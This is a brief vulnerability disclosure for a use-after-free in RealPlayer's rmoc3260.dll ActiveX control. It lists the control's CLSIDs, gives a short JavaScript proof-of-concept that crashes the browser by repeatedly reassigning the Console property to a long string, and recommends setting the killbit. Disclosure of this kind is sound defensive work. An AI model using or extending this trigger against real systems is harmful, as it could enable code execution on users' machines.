How: Real Player utilizes an ActiveX control to play content within the users browser. rmoc3260.dll version 6.0.10.45 {2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93} {CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA} It is possible to modify heap blocks after they are freed and overwrite certain registers, possibly allowing code execution. Like so: - ------------ var buf = ''; while (buf.length < 1005) buf = buf + 'A'; m = obj.Console; obj.Console = buf; obj.Console = m //repeat m = obj.Console; obj.Console = buf; obj.Console = m --> Should crash here - ------------- Workaround: Set the killbit for this control.
